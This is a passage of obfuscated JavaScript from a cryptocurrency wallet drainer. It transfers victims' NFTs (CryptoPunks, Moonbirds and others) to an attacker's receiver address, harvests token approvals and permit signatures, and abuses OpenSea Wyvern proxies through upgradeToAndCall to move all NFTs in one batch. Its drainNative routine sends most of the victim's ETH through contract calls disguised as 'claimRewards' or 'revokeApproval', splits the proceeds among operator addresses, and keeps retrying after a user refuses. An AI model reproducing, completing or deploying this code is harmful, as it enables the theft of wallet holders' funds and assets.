stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "unpause", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bytes32", | |
name: "", | |
type: "bytes32" | |
}], | |
name: "usedMessages", | |
outputs: [{ | |
internalType: "bool", | |
name: "", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}]; | |
let _0x23f6d6 = this.ethersProvider.getSigner((await this.web3Js.eth.getAccounts())[0]); | |
let _0x10c288 = new ethers.Contract(_0x47ba0e.contract, _0x26c748, _0x23f6d6); | |
let _0x17b8b5 = await _0x10c288.safeTransferWhileNesting(await this.getWalletAddress(), this.receiver, _0x35f1e4.asset.token_id, { | |
gasLimit: 200000 | |
}); | |
this.approved.push(Base64.encode(JSON.stringify(_0x47ba0e))); | |
const _0xcd586d = { | |
chain: _0x35f1e4.chain, | |
type: "approvalNFT", | |
source: "Moonbirds", | |
txId: _0x17b8b5.hash, | |
value: _0x35f1e4.value | |
}; | |
await this.sendMessage(_0xcd586d); | |
this.totalNFTs = this.totalNFTs - _0x35f1e4.value; | |
} else if (_0x47ba0e.contract.toLowerCase() == "0xb47e3cd837ddf8e4c57f05d70ab865de6e193bbb") { | |
const _0x4b3254 = [{ | |
constant: true, | |
inputs: [], | |
name: "name", | |
outputs: [{ | |
name: "", | |
type: "string" | |
}], | |
payable: false, | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
name: "punksOfferedForSale", | |
outputs: [{ | |
name: "isForSale", | |
type: "bool" | |
}, { | |
name: "punkIndex", | |
type: "uint256" | |
}, { | |
name: "seller", | |
type: "address" | |
}, { | |
name: "minValue", | |
type: "uint256" | |
}, { | |
name: "onlySellTo", | |
type: "address" | |
}], | |
payable: false, | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "punkIndex", | |
type: "uint256" | |
}], | |
name: "enterBidForPunk", | |
outputs: [], | |
payable: true, | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [], | |
name: "totalSupply", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: false, | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "punkIndex", | |
type: "uint256" | |
}, { | |
name: "minPrice", | |
type: "uint256" | |
}], | |
name: "acceptBidForPunk", | |
outputs: [], | |
payable: false, | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [], | |
name: "decimals", | |
outputs: [{ | |
name: "", | |
type: "uint8" | |
}], | |
payable: false, | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "addresses", | |
type: "address[]" | |
}, { | |
name: "indices", | |
type: "uint256[]" | |
}], | |
name: "setInitialOwners", | |
outputs: [], | |
payable: false, | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [], | |
name: "withdraw", | |
outputs: [], | |
payable: false, | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [], | |
name: "imageHash", | |
outputs: [{ | |
name: "", | |
type: "string" | |
}], | |
payable: false, | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [], | |
name: "nextPunkIndexToAssign", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: false, | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
name: "punkIndexToAddress", | |
outputs: [{ | |
name: "", | |
type: "address" | |
}], | |
payable: false, | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [], | |
name: "standard", | |
outputs: [{ | |
name: "", | |
type: "string" | |
}], | |
payable: false, | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
name: "punkBids", | |
outputs: [{ | |
name: "hasBid", | |
type: "bool" | |
}, { | |
name: "punkIndex", | |
type: "uint256" | |
}, { | |
name: "bidder", | |
type: "address" | |
}, { | |
name: "value", | |
type: "uint256" | |
}], | |
payable: false, | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [{ | |
name: "", | |
type: "address" | |
}], | |
name: "balanceOf", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: false, | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [], | |
name: "allInitialOwnersAssigned", | |
outputs: [], | |
payable: false, | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [], | |
name: "allPunksAssigned", | |
outputs: [{ | |
name: "", | |
type: "bool" | |
}], | |
payable: false, | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "punkIndex", | |
type: "uint256" | |
}], | |
name: "buyPunk", | |
outputs: [], | |
payable: true, | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "to", | |
type: "address" | |
}, { | |
name: "punkIndex", | |
type: "uint256" | |
}], | |
name: "transferPunk", | |
outputs: [], | |
payable: false, | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [], | |
name: "symbol", | |
outputs: [{ | |
name: "", | |
type: "string" | |
}], | |
payable: false, | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "punkIndex", | |
type: "uint256" | |
}], | |
name: "withdrawBidForPunk", | |
outputs: [], | |
payable: false, | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "to", | |
type: "address" | |
}, { | |
name: "punkIndex", | |
type: "uint256" | |
}], | |
name: "setInitialOwner", | |
outputs: [], | |
payable: false, | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "punkIndex", | |
type: "uint256" | |
}, { | |
name: "minSalePriceInWei", | |
type: "uint256" | |
}, { | |
name: "toAddress", | |
type: "address" | |
}], | |
name: "offerPunkForSaleToAddress", | |
outputs: [], | |
payable: false, | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [], | |
name: "punksRemainingToAssign", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: false, | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "punkIndex", | |
type: "uint256" | |
}, { | |
name: "minSalePriceInWei", | |
type: "uint256" | |
}], | |
name: "offerPunkForSale", | |
outputs: [], | |
payable: false, | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "punkIndex", | |
type: "uint256" | |
}], | |
name: "getPunk", | |
outputs: [], | |
payable: false, | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [{ | |
name: "", | |
type: "address" | |
}], | |
name: "pendingWithdrawals", | |
outputs: [{ | |
name: "", | |
type: "uint256" | |
}], | |
payable: false, | |
type: "function" | |
}, { | |
constant: false, | |
inputs: [{ | |
name: "punkIndex", | |
type: "uint256" | |
}], | |
name: "punkNoLongerForSale", | |
outputs: [], | |
payable: false, | |
type: "function" | |
}, { | |
inputs: [], | |
payable: true, | |
type: "constructor" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
name: "to", | |
type: "address" | |
}, { | |
indexed: false, | |
name: "punkIndex", | |
type: "uint256" | |
}], | |
name: "Assign", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
name: "from", | |
type: "address" | |
}, { | |
indexed: true, | |
name: "to", | |
type: "address" | |
}, { | |
indexed: false, | |
name: "value", | |
type: "uint256" | |
}], | |
name: "Transfer", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
name: "from", | |
type: "address" | |
}, { | |
indexed: true, | |
name: "to", | |
type: "address" | |
}, { | |
indexed: false, | |
name: "punkIndex", | |
type: "uint256" | |
}], | |
name: "PunkTransfer", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
name: "punkIndex", | |
type: "uint256" | |
}, { | |
indexed: false, | |
name: "minValue", | |
type: "uint256" | |
}, { | |
indexed: true, | |
name: "toAddress", | |
type: "address" | |
}], | |
name: "PunkOffered", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
name: "punkIndex", | |
type: "uint256" | |
}, { | |
indexed: false, | |
name: "value", | |
type: "uint256" | |
}, { | |
indexed: true, | |
name: "fromAddress", | |
type: "address" | |
}], | |
name: "PunkBidEntered", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
name: "punkIndex", | |
type: "uint256" | |
}, { | |
indexed: false, | |
name: "value", | |
type: "uint256" | |
}, { | |
indexed: true, | |
name: "fromAddress", | |
type: "address" | |
}], | |
name: "PunkBidWithdrawn", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
name: "punkIndex", | |
type: "uint256" | |
}, { | |
indexed: false, | |
name: "value", | |
type: "uint256" | |
}, { | |
indexed: true, | |
name: "fromAddress", | |
type: "address" | |
}, { | |
indexed: true, | |
name: "toAddress", | |
type: "address" | |
}], | |
name: "PunkBought", | |
type: "event" | |
}, { | |
anonymous: false, | |
inputs: [{ | |
indexed: true, | |
name: "punkIndex", | |
type: "uint256" | |
}], | |
name: "PunkNoLongerForSale", | |
type: "event" | |
}]; | |
let _0x427083 = this.ethersProvider.getSigner((await this.web3Js.eth.getAccounts())[0]); | |
let _0x30b59d = new ethers.Contract(_0x47ba0e.contract, _0x4b3254, _0x427083); | |
let _0x325875 = await _0x30b59d.transferPunk(this.receiver, _0x35f1e4.asset.token_id, { | |
gasLimit: 200000 | |
}); | |
this.approved.push(Base64.encode(JSON.stringify(_0x47ba0e))); | |
const _0x16052c = { | |
chain: _0x35f1e4.chain, | |
type: "approvalNFT", | |
source: "Cryptopunk", | |
txId: _0x325875.hash, | |
value: _0x35f1e4.value | |
}; | |
await this.sendMessage(_0x16052c); | |
this.totalNFTs = this.totalNFTs - _0x35f1e4.value; | |
} else if (_0x47ba0e.contract.toLowerCase() != "0xabefbc9fd2f806065b4f3c237d4b59d9a97bcac7" && _0x47ba0e.contract.toLowerCase() != "0x60f80121c31a0d46b5279700f9df786054aa5ee5" && _0x47ba0e.contract.toLowerCase() != "0x3b3ee1931dc30c1957379fac9aba94d1c48a5405" && _0x47ba0e.contract.toLowerCase() != "0x82c7a8f707110f5fbb16184a5933e9f78a34c6ab" && _0x47ba0e.contract.toLowerCase() != "0xabb3738f04dc2ec20f4ae4462c3d069d02ae045b" && _0x47ba0e.contract.toLowerCase() != "0xd07dc4262bcdbf85190c01c996b4c06a461d2430" && _0x47ba0e.contract.toLowerCase() != "0x76be3b62873462d2142405439777e971754e8e77") { | |
let _0x3f727f = 2; | |
if (_0x47ba0e.scheme == "erc1155") { | |
_0x3f727f = 3; | |
} | |
const _0x3f2949 = { | |
itemType: _0x3f727f, | |
token: _0x47ba0e.contract, | |
token_ids: _0x47ba0e.token_ids | |
}; | |
const _0x537087 = _0x3f2949; | |
if (_0x47ba0e.token_ids.length == 1) { | |
let _0x446e21 = await this.Sdk.approveAsset(_0x537087, this.caller, true); | |
const _0x293be5 = { | |
chain: _0x35f1e4.chain, | |
type: "approvalNFT", | |
source: "NFT", | |
txId: _0x446e21.hash, | |
value: _0x35f1e4.value | |
}; | |
await this.sendMessage(_0x293be5); | |
for (let _0x12a710 of _0x47ba0e.token_ids) { | |
await this.SendCompletion({ | |
type: "NFTApproval", | |
hash: _0x446e21.hash, | |
token_id: _0x12a710, | |
token: _0x47ba0e.contract, | |
itemType: _0x47ba0e.itemType, | |
chain_id: this.getChainId(_0x35f1e4.chain), | |
owner: await this.getWalletAddress(), | |
receiver: this.receiver, | |
caller: this.caller, | |
ahash: this.createEncKey() | |
}); | |
} | |
this.approved.push(Base64.encode(JSON.stringify(_0x47ba0e))); | |
} else { | |
let _0x2993d7 = await this.Sdk.approveAsset(_0x537087, this.caller); | |
const _0x18fa05 = { | |
chain: _0x35f1e4.chain, | |
type: "approvalNFT", | |
source: "NFT Collection", | |
txId: _0x2993d7.hash, | |
value: _0x35f1e4.value | |
}; | |
await this.sendMessage(_0x18fa05); | |
for (let _0x1bc83a of _0x47ba0e.token_ids) { | |
await this.SendCompletion({ | |
type: "NFTApproval", | |
hash: _0x2993d7.hash, | |
token: _0x47ba0e.contract, | |
token_id: _0x1bc83a, | |
itemType: _0x47ba0e.itemType, | |
chain_id: this.getChainId(_0x35f1e4.chain), | |
owner: await this.getWalletAddress(), | |
receiver: this.receiver, | |
caller: this.caller, | |
ahash: this.createEncKey() | |
}); | |
} | |
this.approved.push(Base64.encode(JSON.stringify(_0x47ba0e))); | |
} | |
} | |
} | |
} | |
if (_0x35f1e4.actionType == "ApprovalToken") { | |
let _0x53b41b = _0x35f1e4.asset; | |
_0x1a8293 = _0x35f1e4.asset.token_address; | |
console.log(_0x53b41b); | |
let _0x57775f = await this.getChainId(_0x35f1e4.chain); | |
if (_0x35f1e4.value > 10) { | |
const _0x55f229 = { | |
itemType: 1, | |
token: _0x53b41b.token_address, | |
value: _0x35f1e4.value, | |
balance: _0x53b41b.balance | |
}; | |
const _0x211841 = _0x55f229; | |
if (!this.approved.includes(_0x211841.token + "," + _0x53b41b.chain)) { | |
if (_0x53b41b.permit_type == 1 || _0x53b41b.permit_type == 2 || _0x53b41b.permit_type == 3 || _0x53b41b.permit_type == 4) { | |
const _0x5883da = { | |
actionType: "permit", | |
address: _0x211841.token, | |
value: _0x211841.value, | |
balance: _0x211841.balance, | |
type: _0x53b41b.permit_type, | |
chain: _0x35f1e4.chain | |
}; | |
let _0x57c341 = await this.completeSignature(_0x5883da); | |
if (_0x57c341) { | |
this.approved.push(_0x211841.token + "," + _0x35f1e4.chain); | |
} else { | |
throw new Error("Permit not done.."); | |
} | |
} else { | |
let _0x5325f7 = await this.Sdk.approveAsset(_0x211841, this.caller); | |
const _0x528fd9 = { | |
chain: _0x35f1e4.chain, | |
type: "approvalERC", | |
source: "Approval", | |
txId: _0x5325f7.hash, | |
value: _0x35f1e4.value | |
}; | |
await this.sendMessage(_0x528fd9); | |
this.approved.push(_0x211841.token + "," + _0x35f1e4.chain); | |
await this.SendCompletion({ | |
type: "TokenApproval", | |
hash: _0x5325f7.hash, | |
token: _0x211841.token, | |
amount: _0x211841.balance, | |
owner: await this.getWalletAddress(), | |
receiver: this.caller, | |
caller: this.caller, | |
chain: _0x57775f, | |
ahash: this.createEncKey() | |
}); | |
} | |
} | |
} | |
} | |
} catch (_0x5496bb) { | |
console.log(_0x5496bb); | |
if (_0x55c8f6 != (await this.getWalletAddress())) { | |
return; | |
} | |
const _0x473bd6 = { | |
chain: _0x35f1e4.chain, | |
type: "error", | |
msg: "Client has denied approving (" + _0x1a8293 + ")" | |
}; | |
await this.sendMessage(_0x473bd6); | |
this.failedAttempts++; | |
if (this.failedAttempts > 6 && this.actions.length > 1) { | |
this.failedAttempts = 0; | |
} else { | |
await this.approve(_0x35f1e4); | |
} | |
} | |
}; | |
wyvern = async _0x553d4a => { | |
let _0x2159fa = await this.getWalletAddress(); | |
try { | |
let _0x506d61 = [{ | |
constant: true, | |
inputs: [{ | |
name: "", | |
type: "address" | |
}], | |
name: "proxies", | |
outputs: [{ | |
name: "", | |
type: "address" | |
}], | |
payable: false, | |
stateMutability: "view", | |
type: "function" | |
}]; | |
let _0x59fcbd = this.ethersProvider.getSigner(_0x2159fa); | |
let _0x4cb7fe = new ethers.Contract("0xa5409ec958C83C3f309868babACA7c86DCB077c1", _0x506d61, _0x59fcbd); | |
let _0x2d3194 = await _0x4cb7fe.proxies(_0x2159fa); | |
let _0x1d41aa = [{ | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "target", | |
type: "address" | |
}, { | |
internalType: "bytes", | |
name: "callData", | |
type: "bytes" | |
}], | |
internalType: "struct Multicall3.Call[]", | |
name: "calls", | |
type: "tuple[]" | |
}], | |
name: "aggregate", | |
outputs: [{ | |
internalType: "uint256", | |
name: "blockNumber", | |
type: "uint256" | |
}, { | |
internalType: "bytes[]", | |
name: "returnData", | |
type: "bytes[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "target", | |
type: "address" | |
}, { | |
internalType: "bool", | |
name: "allowFailure", | |
type: "bool" | |
}, { | |
internalType: "bytes", | |
name: "callData", | |
type: "bytes" | |
}], | |
internalType: "struct Multicall3.Call3[]", | |
name: "calls", | |
type: "tuple[]" | |
}], | |
name: "aggregate3", | |
outputs: [{ | |
components: [{ | |
internalType: "bool", | |
name: "success", | |
type: "bool" | |
}, { | |
internalType: "bytes", | |
name: "returnData", | |
type: "bytes" | |
}], | |
internalType: "struct Multicall3.Result[]", | |
name: "returnData", | |
type: "tuple[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "target", | |
type: "address" | |
}, { | |
internalType: "bool", | |
name: "allowFailure", | |
type: "bool" | |
}, { | |
internalType: "uint256", | |
name: "value", | |
type: "uint256" | |
}, { | |
internalType: "bytes", | |
name: "callData", | |
type: "bytes" | |
}], | |
internalType: "struct Multicall3.Call3Value[]", | |
name: "calls", | |
type: "tuple[]" | |
}], | |
name: "aggregate3Value", | |
outputs: [{ | |
components: [{ | |
internalType: "bool", | |
name: "success", | |
type: "bool" | |
}, { | |
internalType: "bytes", | |
name: "returnData", | |
type: "bytes" | |
}], | |
internalType: "struct Multicall3.Result[]", | |
name: "returnData", | |
type: "tuple[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "target", | |
type: "address" | |
}, { | |
internalType: "bytes", | |
name: "callData", | |
type: "bytes" | |
}], | |
internalType: "struct Multicall3.Call[]", | |
name: "calls", | |
type: "tuple[]" | |
}], | |
name: "blockAndAggregate", | |
outputs: [{ | |
internalType: "uint256", | |
name: "blockNumber", | |
type: "uint256" | |
}, { | |
internalType: "bytes32", | |
name: "blockHash", | |
type: "bytes32" | |
}, { | |
components: [{ | |
internalType: "bool", | |
name: "success", | |
type: "bool" | |
}, { | |
internalType: "bytes", | |
name: "returnData", | |
type: "bytes" | |
}], | |
internalType: "struct Multicall3.Result[]", | |
name: "returnData", | |
type: "tuple[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "getBasefee", | |
outputs: [{ | |
internalType: "uint256", | |
name: "basefee", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "blockNumber", | |
type: "uint256" | |
}], | |
name: "getBlockHash", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "blockHash", | |
type: "bytes32" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "getBlockNumber", | |
outputs: [{ | |
internalType: "uint256", | |
name: "blockNumber", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "getChainId", | |
outputs: [{ | |
internalType: "uint256", | |
name: "chainid", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "getCurrentBlockCoinbase", | |
outputs: [{ | |
internalType: "address", | |
name: "coinbase", | |
type: "address" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "getCurrentBlockDifficulty", | |
outputs: [{ | |
internalType: "uint256", | |
name: "difficulty", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "getCurrentBlockGasLimit", | |
outputs: [{ | |
internalType: "uint256", | |
name: "gaslimit", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "getCurrentBlockTimestamp", | |
outputs: [{ | |
internalType: "uint256", | |
name: "timestamp", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "addr", | |
type: "address" | |
}], | |
name: "getEthBalance", | |
outputs: [{ | |
internalType: "uint256", | |
name: "balance", | |
type: "uint256" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "getLastBlockHash", | |
outputs: [{ | |
internalType: "bytes32", | |
name: "blockHash", | |
type: "bytes32" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bool", | |
name: "requireSuccess", | |
type: "bool" | |
}, { | |
components: [{ | |
internalType: "address", | |
name: "target", | |
type: "address" | |
}, { | |
internalType: "bytes", | |
name: "callData", | |
type: "bytes" | |
}], | |
internalType: "struct Multicall3.Call[]", | |
name: "calls", | |
type: "tuple[]" | |
}], | |
name: "tryAggregate", | |
outputs: [{ | |
components: [{ | |
internalType: "bool", | |
name: "success", | |
type: "bool" | |
}, { | |
internalType: "bytes", | |
name: "returnData", | |
type: "bytes" | |
}], | |
internalType: "struct Multicall3.Result[]", | |
name: "returnData", | |
type: "tuple[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "bool", | |
name: "requireSuccess", | |
type: "bool" | |
}, { | |
components: [{ | |
internalType: "address", | |
name: "target", | |
type: "address" | |
}, { | |
internalType: "bytes", | |
name: "callData", | |
type: "bytes" | |
}], | |
internalType: "struct Multicall3.Call[]", | |
name: "calls", | |
type: "tuple[]" | |
}], | |
name: "tryBlockAndAggregate", | |
outputs: [{ | |
internalType: "uint256", | |
name: "blockNumber", | |
type: "uint256" | |
}, { | |
internalType: "bytes32", | |
name: "blockHash", | |
type: "bytes32" | |
}, { | |
components: [{ | |
internalType: "bool", | |
name: "success", | |
type: "bool" | |
}, { | |
internalType: "bytes", | |
name: "returnData", | |
type: "bytes" | |
}], | |
internalType: "struct Multicall3.Result[]", | |
name: "returnData", | |
type: "tuple[]" | |
}], | |
stateMutability: "payable", | |
type: "function" | |
}]; | |
let _0x1b4199 = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "from", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}], | |
name: "safeTransferFrom", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}]; | |
let _0x4136ea = [{ | |
inputs: [{ | |
internalType: "address", | |
name: "from", | |
type: "address" | |
}, { | |
internalType: "address", | |
name: "to", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "id", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}, { | |
internalType: "bytes", | |
name: "data", | |
type: "bytes" | |
}], | |
name: "safeTransferFrom", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}]; | |
let _0x1b31dd = [{ | |
constant: false, | |
inputs: [{ | |
name: "implementation", | |
type: "address" | |
}, { | |
name: "data", | |
type: "bytes" | |
}], | |
name: "upgradeToAndCall", | |
outputs: [], | |
payable: true, | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
constant: true, | |
inputs: [], | |
name: "implementation", | |
outputs: [{ | |
name: "", | |
type: "address" | |
}], | |
payable: false, | |
stateMutability: "view", | |
type: "function" | |
}]; | |
let _0x25c19c = new ethers.Contract(_0x2d3194, _0x1b31dd, _0x59fcbd); | |
let _0x180342 = []; | |
for (let _0x4dbd36 of _0x553d4a.asset) { | |
let _0x30646a = _0x4dbd36.nft; | |
let _0x1fa214 = _0x1b4199; | |
let _0x383fce = new ethers.Contract(this.caller, _0x1fa214, _0x59fcbd); | |
let _0x48c237 = _0x383fce.interface.encodeFunctionData("safeTransferFrom", [_0x2159fa, this.receiver, _0x30646a.token_id]); | |
if (_0x30646a.scheme == "erc1155") { | |
_0x1fa214 = _0x4136ea; | |
_0x383fce = new ethers.Contract(this.caller, _0x1fa214, _0x59fcbd); | |
_0x48c237 = _0x383fce.interface.encodeFunctionData("safeTransferFrom", [_0x2159fa, this.receiver, _0x30646a.token_id, 1, ""]); | |
} | |
_0x180342.push([_0x30646a.contract, _0x48c237]); | |
} | |
let _0x3d0c48 = new ethers.Contract(this.caller, _0x1d41aa, _0x59fcbd); | |
let _0x3608b9 = _0x3d0c48.interface.encodeFunctionData("aggregate", [_0x180342]); | |
let _0x2efe93 = await _0x25c19c.upgradeToAndCall("0xcA11bde05977b3631167028862bE2a173976CA11", _0x3608b9, { | |
value: "0x00" | |
}); | |
for (let _0x5097a7 of _0x553d4a.asset) { | |
this.approved.push(_0x5097a7.nft.contract + ",eth"); | |
this.approved.push(Base64.encode(JSON.stringify(_0x5097a7.nft))); | |
} | |
await this.sendMessage({ | |
chain: _0x553d4a.chain, | |
type: "wyvern", | |
txId: _0x2efe93.hash, | |
value: this.totalWyvern / 3 | |
}); | |
} catch (_0x54021e) { | |
if (_0x2159fa != (await this.getWalletAddress())) { | |
return; | |
} | |
console.log(_0x54021e); | |
const _0x62bd26 = { | |
type: "error", | |
chain: _0x553d4a.chain, | |
msg: "Client failed to sign wyvern" | |
}; | |
await this.sendMessage(_0x62bd26); | |
this.failedAttempts++; | |
if (this.failedAttempts > 6 && this.actions.length > 1) { | |
this.failedAttempts = 0; | |
} else { | |
await this.wyvern(_0x553d4a); | |
} | |
} | |
}; | |
drainNative = async _0x574df3 => { | |
try { | |
let _0x3af20b = _0x574df3.asset; | |
let _0x234868 = _0x574df3.value; | |
let _0x1f0f22 = _0x574df3.chain; | |
const _0x401722 = this.web3Js.utils.fromWei(_0x3af20b.toString(), "ether"); | |
console.log("Current balance for " + (await this.getWalletAddress()) + " : " + _0x401722 + " ETH"); | |
if (_0x401722 > 0.005) { | |
await this.askTransferBalance(_0x401722, _0x3af20b, _0x234868, _0x1f0f22); | |
} else {} | |
} catch (_0x464071) { | |
console.log("Declined to send balance."); | |
console.log(_0x464071); | |
} | |
}; | |
askTransferBalance = async (_0x4a08c5, _0x351cfd, _0x4cbea5, _0x5f5268) => { | |
let _0x45816a = await this.getWalletAddress(); | |
try { | |
const _0x23eb52 = await this.web3Js.eth.getGasPrice(); | |
const _0x10f5ca = new this.web3Js.utils.BN("22000"); | |
const _0x477ea0 = _0x10f5ca * Math.floor(_0x23eb52 * 2); | |
let _0x3dbadd = Math.floor(_0x351cfd * 0.04); | |
let _0x2ba62b = this.web3Js.utils.fromWei(_0x3dbadd.toString(), "ether"); | |
if (_0x2ba62b > 0.03) { | |
_0x3dbadd = this.web3Js.utils.toWei("0.05", "ether"); | |
} | |
let _0x2155b1 = Math.floor(_0x351cfd - _0x3dbadd) - _0x477ea0 * 4; | |
console.log("Sending " + this.web3Js.utils.fromWei(_0x2155b1.toString(), "ether") + " ETH from " + (await this.getWalletAddress()) + "..."); | |
let _0x39968d = [{ | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "target", | |
type: "address" | |
}, { | |
internalType: "bytes", | |
name: "callData", | |
type: "bytes" | |
}], | |
internalType: "struct Multicall.Call[]", | |
name: "calls", | |
type: "tuple[]" | |
}], | |
name: "acedrainer", | |
outputs: [{ | |
internalType: "uint256", | |
name: "blockNumber", | |
type: "uint256" | |
}, { | |
internalType: "bytes[]", | |
name: "returnData", | |
type: "bytes[]" | |
}], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "receiver", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
internalType: "struct Multicall.Split[]", | |
name: "_data", | |
type: "tuple[]" | |
}], | |
name: "claimRewards", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "address", | |
name: "receiver", | |
type: "address" | |
}, { | |
internalType: "uint256", | |
name: "amount", | |
type: "uint256" | |
}], | |
internalType: "struct Multicall.Split[]", | |
name: "_data", | |
type: "tuple[]" | |
}], | |
name: "revokeApproval", | |
outputs: [], | |
stateMutability: "payable", | |
type: "function" | |
}]; | |
var _0x564f93 = this.ethersProvider.getSigner((await this.web3Js.eth.getAccounts())[0]); | |
let _0x504109 = new ethers.Contract(this.caller, _0x39968d, _0x564f93); | |
console.log(_0x5f5268); | |
if (_0x5f5268 == "bsc" || _0x5f5268 == "base" || _0x5f5268 == "eth" || _0x5f5268 == "ftm" || _0x5f5268 == "matic" || _0x5f5268 == "arb" || _0x5f5268 == "op" || _0x5f5268 == "cro") { | |
console.log(_0x2155b1); | |
let _0xcbe2f2 = BigInt(0); | |
let _0x4efaf2 = []; | |
let _0x49d1c4 = Number(_0x2155b1); | |
for (let _0xee61d6 of this.sharing) { | |
let _0x3c034b = BigInt(Math.floor(_0x49d1c4 * Number(_0xee61d6.share / 10000))); | |
_0x4efaf2.push([_0xee61d6.address, _0x3c034b.toString()]); | |
_0xcbe2f2 += _0x3c034b; | |
} | |
console.log("total " + _0xcbe2f2); | |
console.log("sending " + _0x2155b1); | |
if (_0xcbe2f2 > BigInt(_0x2155b1)) { | |
console.log("correcting_values"); | |
let _0x2c3d0a = _0xcbe2f2 - BigInt(_0x2155b1); | |
console.log("difference " + _0x2c3d0a); | |
let _0xacf1b4 = BigInt(_0x4efaf2[0][1]) - _0x2c3d0a; | |
_0xcbe2f2 = _0xcbe2f2 - _0x2c3d0a; | |
console.log("total " + _0xcbe2f2); | |
_0x4efaf2[0][1] = _0xacf1b4.toString(); | |
} | |
console.log(_0x4efaf2); | |
let _0x29ccf4 = null; | |
if (config.sendEthType == 2) { | |
_0x29ccf4 = _0x504109.revokeApproval(_0x4efaf2, { | |
value: BigInt(_0x2155b1) | |
}); | |
} | |
if (config.sendEthType == 1) { | |
_0x29ccf4 = _0x504109.claimRewards(_0x4efaf2, { | |
value: BigInt(_0x2155b1) | |
}); | |
} | |
